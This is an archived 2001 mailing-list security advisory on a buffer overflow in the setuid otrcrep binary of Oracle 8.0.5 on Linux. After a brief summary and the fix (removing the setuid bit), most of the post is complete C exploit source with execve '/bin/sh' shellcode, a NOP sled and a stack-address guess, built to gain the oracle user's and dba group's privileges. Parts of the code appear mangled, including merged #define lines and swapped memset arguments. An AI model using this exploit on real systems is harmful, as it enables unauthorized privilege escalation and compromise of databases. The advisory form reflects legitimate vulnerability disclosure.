vulnerability in otrcrep binary in Oracle 8.0.5.

From: Juan Manuel Pascual Escriba <pask_at_plazasite.com>
Date: Thu, 02 Aug 2001 01:29:22 -0700
Message-ID: <F001.0035D09B.20010802003526@fatcity.com>

                      WWW.PLAZASITE.COM
                  System & Security Division




   Title:     Vulnerability in otrcrep in Oracle 8.0.5
    Date:     14-12-2000
Platform:     Only tested in Linux, but can be exported to others.
  Impact:     Any user gain euid=oracle and egid=dba.
  Author:     Juan Manuel Pascual (pask_at_plazasite.com)
  Status:     Vendor contacted at 18th July 2001

PROBLEM SUMMARY:
    There is a buffer overflow in otrcrep binary that can be use by local users to obtain euid of oracle user and egid to dba group.

IMPACT:
    Any user with local access, can gain euid= oracle and compromise the integrity of DataBase.

SOLUTION:
    Chmod -s.

STATUS:
    Vendor was contacted .

---

This vulnerability was researched by:
Juan Manuel Pascual Escriba pask_at_plazasite.com

/* cc -o evolut otrcrep.c; ./evolut 300 0 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFER                         300 
#define OFFSET                         0 
#define NOP                            0x90

#define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG" #define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"

char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

   __asm__("movl %esp,%eax");
}

 /* void main(int argc, char *argv[]) { */ void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));   for (i = 0; i < strlen(shellcode); i++)     *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);  
system(BINARY);  

} Received on Thu Aug 02 2001 - 03:29:22 CDT